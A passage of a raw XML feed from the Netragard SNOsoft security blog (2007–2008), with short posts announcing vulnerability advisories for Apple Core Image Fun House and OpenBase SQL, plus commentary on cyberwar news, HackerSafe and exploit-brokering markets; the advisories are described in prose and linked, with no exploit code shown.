Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_EB6c20kYC_c/SL6gqmsV6qI/AAAAAAAAAAc/ql8xobZY-Ik/s72-c/wtf-hackers.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8732824093018919656</id><published>2008-07-11T11:42:00.000-07:00</published><updated>2008-07-11T11:50:33.893-07:00</updated><title type='text'>Core Image Fun House - Advisory</title><content type='html'>Netragard's SNOsoft Research Team discovered an exploitable buffer overflow vulnerability in Apple's  Core Image Fun House version &lt;= 2.0 on OS X.  Netragard notified apple and released a formal advisory that can be found &lt;a href="http://www.netragard.com/pdfs/research/NETRAGARD-20080630-FUNHOUSE.txt"&gt;here&lt;/a&gt;. Proof of concept is included in the advisory.&lt;br /&gt;&lt;kf_lists&gt;&lt;repeats&gt;&lt;/repeats&gt;&lt;/kf_lists&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8732824093018919656?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8732824093018919656/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/07/core-image-fun-house-advisory.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8732824093018919656'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8732824093018919656'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/07/core-image-fun-house-advisory.html' title='Core Image Fun House - Advisory'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1121009998789922890</id><published>2008-06-30T09:45:00.000-07:00</published><updated>2008-06-30T09:47:37.361-07:00</updated><title type='text'>More Apple Bugs</title><content type='html'>I realize that it has been a while since I've written anything to our blog and I assure you its because our team has been busy. With that said, we've been sitting on a few vulnerabilities that were discovered a while ago waiting for the vendor to release patches. Those vulnerabilities are going to be released very shortly on Netragard's website and to the mailing lists, but here's a sneak peek.&lt;br /&gt;&lt;br /&gt;1-) Funhouse vulnerability with exploit code.&lt;br /&gt;2-) LP vulnerability, also with exploit code.&lt;br /&gt;&lt;br /&gt;These should be posted within the next two weeks.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1121009998789922890?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1121009998789922890/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/06/more-apple-bugs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1121009998789922890'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1121009998789922890'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/06/more-apple-bugs.html' title='More Apple Bugs'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1122623229657060226</id><published>2008-01-23T19:00:00.000-08:00</published><updated>2008-01-23T19:07:13.015-08:00</updated><title type='text'>HackerSafe pwned</title><content type='html'>Back in early 2000, Kevin Finisterre and I were talking about HackerSafe and the risks that it posed to its customers. Primarly, if hackers monitor all HackerSafe websites they will know when to attack a site based on the presence of the HackerSafe logo. Another issue that we have with HackerSafe like services is that we feel that people are getting a false sense of security. Automated tools like the ones used by HackerSafe (scanalert) do not identify the security holes that most hackers use to break into networks, instead they only identify the known issues.&lt;br /&gt;&lt;br /&gt;Don't get us wrong, there is value in the services that are being offered by ScanAlert. Their services help businesses keep up to date with patches and prevent businesses from missing the obvious and low hanging fruit. For that very reason services like HackerSafe have a very good ROI. Just don't feel 100% because you've got the logo, you're never 100%. Here's an article where our CTO commented on the recent &lt;a href="http://computerworld.com.my/ShowPage.aspx?pagetype=2&amp;amp;articleid=7410&amp;amp;pubid=4&amp;amp;issueid=130"&gt;HackerSafe pwnage&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1122623229657060226?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1122623229657060226/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/01/hackersafe-pwned.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1122623229657060226'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1122623229657060226'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/01/hackersafe-pwned.html' title='HackerSafe pwned'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7248583365489851247</id><published>2008-01-19T09:53:00.000-08:00</published><updated>2008-01-19T10:07:35.862-08:00</updated><title type='text'>Hackers attack power companies</title><content type='html'>For quite some time I've been giving speeches and talking about the physical damages that malicious hackers could cause with a well crafted cyber attack. I've discussed how vulnerable our (the world's) core infrastructure is and how easily it could be disabled. As a result many people have called me a conspiracy theorist, or accused me of exaggerating. Well, unfortunately now I can say "&lt;a href="http://ap.google.com/article/ALeqM5jSw3W7MyNAF7rq8RTxcvoz76WIiwD8U8GUP02"&gt;I told you so&lt;/a&gt;."  This isn't the first time that hackers have attacked this kind of technology,  the US Department of Defense did it during the &lt;a href="http://therunagatesclub.blogspot.com/2007/09/aurora-cyber-attack-destroyed-million.html"&gt;Aurora Generator Test&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7248583365489851247?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7248583365489851247/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/01/hackers-attack-power-companies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7248583365489851247'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7248583365489851247'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/01/hackers-attack-power-companies.html' title='Hackers attack power companies'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-1239631605847276801</id><published>2008-01-11T07:29:00.000-08:00</published><updated>2008-01-11T07:34:23.576-08:00</updated><title type='text'>ZDNet Australia</title><content type='html'>Netragard's CTO was quoted in the following article titled "2007: How was it for Apple". Here's the &lt;a href="http://www.zdnet.com.au/news/business/soa/2007-How-was-it-for-Apple-/0,139023166,339284533,00.htm"&gt;article&lt;/a&gt; and here's the quote:&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="  line-height: 17px; font-family:Arial;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;Adriel Desautels, chief technology officer for security company Netragard and founder of the SNOSoft research team, said: "If OS X had the same installed base as Windows, Linux and other systems, it would be less secure or at the very most, as secure as the other systems ... It's just a matter of what [attackers] focus on."&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-1239631605847276801?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/1239631605847276801/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2008/01/zdnet-australia.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1239631605847276801'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/1239631605847276801'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2008/01/zdnet-australia.html' title='ZDNet Australia'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3003357902735803582</id><published>2007-11-08T09:04:00.000-08:00</published><updated>2007-11-08T09:08:33.871-08:00</updated><title type='text'>OpenBase 10.0.5 (All Platforms)</title><content type='html'>Netragard's SNOsoft Research Team discovered two critical vulnerabilities in the OpenBase SQL Relational Database that can lead to full system compromise.&lt;br /&gt;&lt;br /&gt;The first vulnerability discovered is a command injection vulnerability that affects several of the default Stored Procedures. Specifically, it is possible to execute system commands as the root user by inserting a series of backticks into the pre-defined Stored Procedures.&lt;br /&gt;&lt;br /&gt;The second vulnerability discovered in Buffer Overflow that causes heap corruption. This also has the potential to lead to the execution of arbitrary code or a Denial of Service condition.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.netragard.com/pdfs/research/NETRAGARD-20070313-OPENBASE.txt"&gt;Click here for the full advisory.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3003357902735803582?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3003357902735803582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/11/openbase-1005-all-platforms.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3003357902735803582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3003357902735803582'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/11/openbase-1005-all-platforms.html' title='OpenBase 10.0.5 (All Platforms)'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-5657570454453102527</id><published>2007-11-08T08:35:00.000-08:00</published><updated>2007-11-08T09:04:37.822-08:00</updated><title type='text'>Netragard In The News</title><content type='html'>&lt;a href="http://www.scmagazineus.com/pages/search.aspx?q=Apple&amp;amp;pagetypeid=7&amp;amp;cx=013960771559195911098:vozsgygtesi&amp;amp;cof=FORID:11"&gt;Apple&lt;/a&gt; patched two issues in Xcode Tools 2.5 on Tuesday, including one flaw that could allow &lt;a href="http://www.scmagazineus.com/pages/search.aspx?q=remote+code+execution&amp;amp;pagetypeid=7&amp;amp;cx=013960771559195911098:vozsgygtesi&amp;amp;cof=FORID:11"&gt;remote code execution&lt;/a&gt;. Apple credited researcher &lt;a href="http://www.scmagazineus.com/pages/search.aspx?q=Kevin+Finisterre&amp;amp;pagetypeid=7&amp;amp;cx=013960771559195911098:vozsgygtesi&amp;amp;cof=FORID:11#1063"&gt;Kevin Finisterre&lt;/a&gt; of &lt;a href="http://www.netragard.com/"&gt;Netragard&lt;/a&gt; for reporting both issues. &lt;a href="http://www.scmagazineus.com/Apple-patches-pair-of-Xcode-Tools-flaws/article/58292/"&gt;Read the full article here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-5657570454453102527?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/5657570454453102527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/11/netragard-in-news.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5657570454453102527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/5657570454453102527'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/11/netragard-in-news.html' title='Netragard In The News'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-4943481137571720932</id><published>2007-10-10T07:56:00.000-07:00</published><updated>2007-10-10T07:59:52.081-07:00</updated><title type='text'>SQL Injection funnies.</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_EB6c20kYC_c/Rwzo0nTTP9I/AAAAAAAAAAU/oaM2RIyCldQ/s1600-h/exploits_of_a_mom.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://4.bp.blogspot.com/_EB6c20kYC_c/Rwzo0nTTP9I/AAAAAAAAAAU/oaM2RIyCldQ/s400/exploits_of_a_mom.png" alt="" id="BLOGGER_PHOTO_ID_5119722867014189010" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-4943481137571720932?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/4943481137571720932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/10/sql-injection-funnies.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4943481137571720932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/4943481137571720932'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/10/sql-injection-funnies.html' title='SQL Injection funnies.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_EB6c20kYC_c/Rwzo0nTTP9I/AAAAAAAAAAU/oaM2RIyCldQ/s72-c/exploits_of_a_mom.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3505782381832994552</id><published>2007-09-14T09:50:00.000-07:00</published><updated>2007-09-14T13:58:45.340-07:00</updated><title type='text'>Hackers Welcome - We're in forbes again.</title><content type='html'>When legitimate security researchers notify technology vendors about security flaws in their technology, the best thing that the vendor can do is to welcome the information with open arms. When a vendor reacts with hostility it appears as if the vendor is attempting quash the security research instead of resolving the vulnerabilities identified by the research.  While the hostile reaction is usually an attempt to "save face" it usually does the opposite and sends a dangerous false message to the vendors customers. That message is "&lt;span style="font-weight: bold;"&gt;We care more about saving face than we do about your security&lt;/span&gt;."  On the other hand... Vendors that work with security researchers in a positive and friendly manner send the message that they "care about the security of their customers".  &lt;a href="http://www.forbes.com/technology/2007/09/10/hackers-hp-apple-tech-cx_ag_0911hackers.html"&gt;This Forbes article&lt;/a&gt; contains key examples of "&lt;a href="http://www.forbes.com/2007/09/10/hackers-hp-apple-tech-cx_ag_0911hackers_slide_2.html?thisspeed=20000"&gt;Software Bug Blowups&lt;/a&gt;", in fact, it even covers the SNOsoft + HP + DMCA fiasco that happened back in early 2000.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3505782381832994552?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3505782381832994552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/09/hackers-welcome-were-in-forbes-again.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3505782381832994552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3505782381832994552'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/09/hackers-welcome-were-in-forbes-again.html' title='Hackers Welcome - We&apos;re in forbes again.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-2845570688914500808</id><published>2007-09-13T14:07:00.000-07:00</published><updated>2007-09-14T14:08:47.404-07:00</updated><title type='text'>China Hacked by the US?</title><content type='html'>&lt;span class="body"&gt;&lt;p&gt; As the list of nations claiming they were targeted by Internet attacks emanating from China continues to grow, the world's most populous country has turned the mirror back on other governments.&lt;/p&gt; &lt;p&gt; In statements made in the &lt;cite&gt;Chinese Cadres Tribune&lt;/cite&gt;, Vice Minister of Information Industry Lou Qinjian claimed that the United States and other "hostile" governments were attacking China's infrastructure, according to &lt;a href="http://www.reuters.com/article/internetNews/idUSPEK8648420070912" target="_blank"&gt;a news report&lt;/a&gt; carried by wire service &lt;cite&gt;Reuters&lt;/cite&gt;. Lou recommended a collection of new measures to combat the attacks, including "toughened censorship, new security bodies and commercial controls," stated &lt;cite&gt;Reuters&lt;/cite&gt;.&lt;/p&gt;&lt;a href="http://www.securityfocus.com/brief/588"&gt;Click here for the full article.&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-2845570688914500808?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/2845570688914500808/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/09/china-hacked-by-us.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2845570688914500808'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/2845570688914500808'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/09/china-hacked-by-us.html' title='China Hacked by the US?'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-3415951232834183996</id><published>2007-09-04T22:44:00.000-07:00</published><updated>2007-09-04T22:53:08.667-07:00</updated><title type='text'>Pentagon hacked by China?</title><content type='html'>For all of you who wanted "proof" about the cyberwar between China and the US, &lt;a href="http://www.reuters.com/article/newsOne/idUSPEK31756320070904"&gt;here's an article for you.&lt;/a&gt; Unfortunately I think that China is in a better technological position with their "Golden Shield" firewall than we are with our ad-hoc Internet infrastructure. Specifically if you consider that  "Golden Shield" is rumored to be &lt;a href="http://en.wikipedia.org/wiki/Intrusion-prevention_system"&gt;IPS capable&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-3415951232834183996?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/3415951232834183996/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/09/china-hacked-pentagon-again.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3415951232834183996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/3415951232834183996'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/09/china-hacked-pentagon-again.html' title='Pentagon hacked by China?'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7283912539982954220</id><published>2007-08-06T15:32:00.000-07:00</published><updated>2007-08-06T15:37:27.889-07:00</updated><title type='text'>China Cyber Shield - Forbes</title><content type='html'>This article was &lt;span style="font-weight: bold;"&gt;literally&lt;/span&gt; our idea. We contacted Andrew Greenberg at Forbes Magazine and discussed the possibility of China's Operation Golden Shield being used as an offensive weapon during a Cyber war. Jayson Street, a long time SNOsoft team member is quoted in &lt;a href="http://www.forbes.com/security/2007/07/30/china-cybercrime-war-tech-cx_ag_0730internet.html"&gt;this article&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7283912539982954220?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7283912539982954220/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/08/china-cyber-shield-forbes.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7283912539982954220'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7283912539982954220'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/08/china-cyber-shield-forbes.html' title='China Cyber Shield - Forbes'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-8306574166965019212</id><published>2007-07-13T08:37:00.000-07:00</published><updated>2007-07-13T08:45:42.757-07:00</updated><title type='text'>Bug Brokers: eBay-like Bug Site Doomed</title><content type='html'>Netragard's CTO (our founder) was interviewed by eWeek for this article. Again, focused on the e-bay like exploit auction site that we feel is doomed to fail.&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-8306574166965019212?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/8306574166965019212/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/07/bug-brokers-ebay-like-bug-site-doomed.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8306574166965019212'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/8306574166965019212'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/07/bug-brokers-ebay-like-bug-site-doomed.html' title='Bug Brokers: eBay-like Bug Site Doomed'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://1.bp.blogspot.com/_EB6c20kYC_c/SoC6E65_YQI/AAAAAAAAACw/z0MraTGEo9U/S220/adriel_desautels.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-422477430134849438.post-7601506671788566748</id><published>2007-07-09T09:59:00.000-07:00</published><updated>2007-07-09T10:19:41.921-07:00</updated><title type='text'>Hackers Nasdaq - Our founder comments in forbes.</title><content type='html'>Our founder, Adriel Desautels, comments about purchasing exploits in this&lt;a href="http://www.forbes.com/home/security/2007/07/06/security-software-hacking-tech-security-cx_ag_0706vulnmarket.html"&gt; Forbes article&lt;/a&gt;. The article also outlines a new business called WabiSabiLabi that is attempting to gain traction in the exploit market by using an e-bay like bidding structure. While this seems like a good idea at first glance the idea will face significant trust problems as it appears that anyone can bid on an exploit.  The question that we have for WabiSabiLabi is how do they assure that the winning bidder is an ethical legitimate buyer? &lt;span class="on" style="display: block;" id="formatbar_CreateLink" title="Link" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;Netragard, LLC.  -- The Specialist in Anti Hacking.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/422477430134849438-7601506671788566748?l=snosoft.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://snosoft.blogspot.com/feeds/7601506671788566748/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://snosoft.blogspot.com/2007/07/hackers-nasdaq-our-founder-comments-in.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7601506671788566748'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/422477430134849438/posts/default/7601506671788566748'/><link rel='alternate' type='text/html' href='http://snosoft.blogspot.com/2007/07/hackers-nasdaq-our-founder-comments-in.html' title='Hackers Nasdaq - Our founder comments in forbes.'/><author><name>Adriel Desautels</name><uri>http://www.blogger.com/profile/16119732948300414743</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' 